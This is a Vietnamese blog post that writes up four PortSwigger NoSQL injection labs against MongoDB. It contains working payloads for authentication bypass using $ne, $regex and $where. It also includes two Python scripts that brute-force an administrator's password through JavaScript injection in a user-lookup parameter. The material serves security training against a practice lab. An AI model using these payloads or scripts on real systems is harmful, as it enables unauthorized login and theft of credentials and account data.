DEV Community

Cover image for LAB: NoSQL injection
tRavOndAtrACk
tRavOndAtrACk

Posted on • Edited on

LAB: NoSQL injection

Lab: Detecting NoSQL injection

Link: https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-detection

Mô tả
Thực hiện một cuộc tấn công NoSQL Injection để hiển thị các sản phẩm chưa phát hành trong cơ sở dữ liệu MongoDB.
Các bước thực hiện

  • MongoDB sử dụng cú pháp JSON và JavaScript để truy vấn dữ liệu. Nếu một ứng dụng không kiểm tra kỹ đầu vào, việc chèn dấu nháy đơn (') có thể gây lỗi cú pháp --> Có thể chỉnh sửa giá trị tham số category và chèn dấu nháy đơn (') Image description => mở ra cơ hội để khai thác NoSQL Injection.
  • Thử xem có thể tác động boolean conditions để thay đổi kết quả truy vấn. Trước khi gửi request hãy URL-encoded '. && 0 && 'x and ' && 1 && 'x.

Image description

Image description

  • Tóm lại sau khi đã thử thì thấy boolen conditions có tác động đến việc truy vấn.

  • Thay đổi truy vấn để hiển thị toàn bộ dữ liệu bằng cách chèn điều kiện luôn đúng. Chèn điều kiện 1 == 1 vào truy vấn để nó luôn trả về kết quả hợp lệ.

Image description
--> Do '1' == '1' luôn đúng, truy vấn trả về toàn bộ sản phẩm, kể cả sản phẩm chưa phát hành hoặc bị ẩn.
--> DONEEEEEE.


Lab: Exploiting NoSQL operator injection to bypass authentication

Link: https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-bypass-authentication

Mô tả
Lỗ hổng NoSQL Injection trong hệ thống xác thực cho phép kẻ tấn công:

  • Bypass xác thực bằng cách sử dụng $ne để chọn bất kỳ người dùng nào.
  • Sử dụng $regex để tìm kiếm và đăng nhập vào tài khoản có quyền cao

Các bước thực hiện

  • NoSQL databases sử dụng các toán tử truy vấn để lọc dữ liệu. Kẻ tấn công có thể lợi dụng các toán tử này để thao túng truy vấn.

$where – Cho phép thực thi JavaScript trong truy vấn.
$ne (Not Equal) – Chọn tất cả tài liệu có giá trị khác với giá trị được chỉ định.
$in – Chọn tất cả tài liệu có giá trị thuộc danh sách cụ thể.
$regex – Lọc tài liệu bằng biểu thức chính quy (regex).

  • Truy vấn này trả về tất cả thông tin đăng nhập mà cả tên người dùng và mật khẩu đều không hợp lệ
{
    "username": {
        "$ne": "invalid"
    },
    "password": {
        "$ne": "invalid"
    }
}
Enter fullscreen mode Exit fullscreen mode

==> Chưa khai thác được gì lắm

  • Sử dụng toán tử $in để thử nhiều username cùng lúc + toán tử $ne để bỏ qua kiểm tra mật khẩu nếu ứng dụng không xử lý đúng cách.
{
    "username":{
        "$in":[
            "admin",
            "administrator",
            "superadmin"
        ]
    },
    "password":{
        "$ne": ""
    }
}
Enter fullscreen mode Exit fullscreen mode

Image description
==> Không được :v

  • Giả sử bỏ qua password bằng cách "password": { "$ne": "jasfaskfbasfj }" ==> có thể bỏ qua bước xác thực mật khẩu bởi điều kiện thỏa mãn :v

Image description

  • Thử với username: administrator

Image description
--> Invalid username or password --> dò username với toán tử $in

Image description
--> Vẫn không được chuyển sang dò với $regex

{
    "username":{
        "$regex": "admin"
    },
    "password":{
        "$ne": "jasfaskfbasfj"
    }
}
Enter fullscreen mode Exit fullscreen mode

Image description
==> Ra được username rồi kìa ae id=adminscrp8k9r

  • Chạy request với session vừa tìm được

Image description

--> DONEEEE


Lab: Exploiting NoSQL injection to extract data

Link: https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-data

Mô tả
Lỗ hổng NoSQL Injection có thể bị khai thác để trích xuất dữ liệu từ database.

Các bước thực hiện

  • Đăng nhập tài khoản được cấp phát hiện đoạn mã HTML có chứa thông tin người dùng và một tập lệnh JavaScript được tải từ tệp userRole.js Image description
  • Nội dung tệp .js
const appendFromUser = (user) => {
    const email = user.email;
    if (email) {
        document.querySelector("#user-details #user-email").textContent = email;
    }

    const role = user.role;
    if (role) {
        document.querySelector("#user-details #username").textContent += ` (role: ${role})`;
    }
};

const appendUserDetails = () => {
    const url = new URL(location);

    fetch(`//${url.host}/user/lookup?user=${encodeURIComponent(url.searchParams.get('id'))}`)
        .then(res => res.json())
        .then(appendFromUser);
};

appendUserDetails();
Enter fullscreen mode Exit fullscreen mode
  • Check trong Burp thì thấy Endpoint API chịu trách nhiệm tìm kiếm thông tin người dùng.

Image description

  • Thử thêm '"

Image description

  • Sử dụng payload sau trong tham số user:
administrator' && this.password.length < ???????? || 'a'=='b
Enter fullscreen mode Exit fullscreen mode

cần encode url!!!!
Image description
--> Dò thì thấy pass có 8 kí tự

  • Hoặc viết script để dò:
import requests
from bs4 import BeautifulSoup

# Cấu hình URL
BASE_URL = "https://0ac8002004a4b14e800b768100b40004.web-security-academy.net/"
LOGIN_ENDPOINT = "/login"
USER_LOOKUP_ENDPOINT = "/user/lookup"
USER_LOOK_PARAMETER = "user"

# Thông tin đăng nhập tài khoản wiener
USERNAME = "wiener"
PASSWORD = "peter"

# Tạo session để duy trì cookie
session = requests.Session()

def get_csrf_token():
    """Lấy CSRF token từ trang đăng nhập"""
    print("[*] Đang lấy CSRF token...")
    response = session.get(f"{BASE_URL}{LOGIN_ENDPOINT}")
    soup = BeautifulSoup(response.text, "html.parser")

    csrf_token = soup.find("input", {"name": "csrf"}).get("value")
    print(f"[+] CSRF token: {csrf_token}")
    return csrf_token

def login():
    """Đăng nhập vào tài khoản wiener"""
    csrf_token = get_csrf_token()
    login_data = {
        "csrf": csrf_token,
        "username": USERNAME,
        "password": PASSWORD
    }

    print("[*] Đang đăng nhập...")
    response = session.post(f"{BASE_URL}{LOGIN_ENDPOINT}", data=login_data)

    if "Your username is incorrect" in response.text:
        print("[-] Đăng nhập thất bại! Kiểm tra lại tài khoản/mật khẩu.")
        return False

    print("[+] Đăng nhập thành công!")
    return True

def find_password_length():
    """Dò độ dài mật khẩu của administrator"""
    print("[*] Đang dò độ dài mật khẩu...")

    for length in range(1, 21):  # Dò từ 1 đến 20 ký tự
        payload = f"administrator' && this.password.length == '{length}' || 'a'=='b"
        encoded_payload = requests.utils.quote(payload)

        # Gửi request với session đã đăng nhập
        response = session.get(f"{BASE_URL}{USER_LOOKUP_ENDPOINT}?{USER_LOOK_PARAMETER}={encoded_payload}")

        if "message" not in response.text:  # Nếu phản hồi không có "message", tức là đúng
            print(f"[+] Độ dài mật khẩu của administrator: {length} ký tự")
            return length

    print("[-] Không tìm thấy độ dài mật khẩu.")
    return None

if __name__ == "__main__":
    if login():
        password_length = find_password_length()

Enter fullscreen mode Exit fullscreen mode

Image description

  • Dò password bằng script
import requests
from bs4 import BeautifulSoup
from string import ascii_lowercase

class Exploit:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.session = requests.Session()
        self.login_endpoint = "/login"
        self.user_lookup_endpoint = "/user/lookup"
        self.username = "wiener"
        self.password = "peter"
        self.target_user = "administrator"
        self.password_length = 8  # Độ dài đã xác định trước

    def get_csrf_token(self):
        """Lấy CSRF token từ trang đăng nhập"""
        response = self.session.get(f"{self.baseUrl}{self.login_endpoint}")
        soup = BeautifulSoup(response.text, "html.parser")
        csrf_token = soup.find("input", {"name": "csrf"}).get("value")
        return csrf_token

    def login(self):
        """Đăng nhập vào tài khoản wiener"""
        csrf_token = self.get_csrf_token()
        login_data = {
            "csrf": csrf_token,
            "username": self.username,
            "password": self.password
        }
        response = self.session.post(f"{self.baseUrl}{self.login_endpoint}", data=login_data)

        if "Your username is incorrect" in response.text:
            print("[-] Đăng nhập thất bại!")
            exit(1)
        print("[+] Đăng nhập thành công!")

    def brute_force_password(self):
        """Dò từng ký tự của mật khẩu administrator"""
        print("[*] Đang brute-force mật khẩu...")
        password = ""

        for i in range(self.password_length):
            for char in ascii_lowercase:  # Chỉ test các chữ cái a-z
                print(f"[*] Thử ký tự '{char}' tại vị trí {i+1}...", end="\r")

                payload = requests.utils.quote(f"{self.target_user}' && this.password[{i}] == '{char}' || 'a'=='b")
                response = self.session.get(f"{self.baseUrl}{self.user_lookup_endpoint}?user={payload}")

                if "message" not in response.text:
                    password += char
                    print(f"[+] Tìm thấy ký tự '{char}' tại vị trí {i+1}. Mật khẩu hiện tại: {password}")
                    break

        print(f"[+] Mật khẩu administrator là: {password}")

if __name__ == "__main__":
    baseUrl = "https://0ac8002004a4b14e800b768100b40004.web-security-academy.net/"
    exploit = Exploit(baseUrl)

    exploit.login()
    exploit.brute_force_password()

Enter fullscreen mode Exit fullscreen mode

Image description

Image description

-->>>> DONE


Lab: Exploiting NoSQL operator injection to extract unknown fields

Link: https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-unknown-fields

Mô tả
Khai thác NoSQL Injection trên MongoDB và lấy password reset token của user carlos

Các bước thực hiện

  • Trong phần login có Forgot password? ???. Thử xem có thể khai thác được gì

Image description
--> nhập đại 1 username nào đó.

Image description

  • Cách xác thực hơi kì lạ ??
  • Đăng nhập bừa và thay các toán tử

Image description

{
    "username": "carlos",
    "password":{
        "$ne": "abc"
    }
}
Enter fullscreen mode Exit fullscreen mode

Image description

==)) bị khóa tài khoản rồi lmao

  • Thêm $where vào JSON request như sau
{
   "username": "carlos",
   "password": { "$ne": "invalid" },
   "$where": "0"
}
Enter fullscreen mode Exit fullscreen mode
{
   "username": "carlos",
   "password": { "$ne": "invalid" },
   "$where": "1"
}
Enter fullscreen mode Exit fullscreen mode
  • Sau cả 2 lần gửi request thì account bị locked. Chuyển sang intruder
  • Trong MongoDB, có thể sử dụng Object.keys(this) để lấy danh sách tất cả các trường trong một document.

    • Object.keys(this)[0]: Lấy trường đầu tiên.
    • Object.keys(this)[1]: Lấy trường thứ hai.
{
   "username": "carlos",
   "password": { "$ne": "invalid" },
   "$where": "Object.keys(this)[1].match('^.{§§}§§.*')"
}
Enter fullscreen mode Exit fullscreen mode

Image description

  • Lọc theo "Account locked"

Image description

Image description

Image description

  • Tiếp tục dò các trường còn lại!! -->>> DONEEEE

URL-encoded format: https://www.urlencoder.org/

Top comments (0)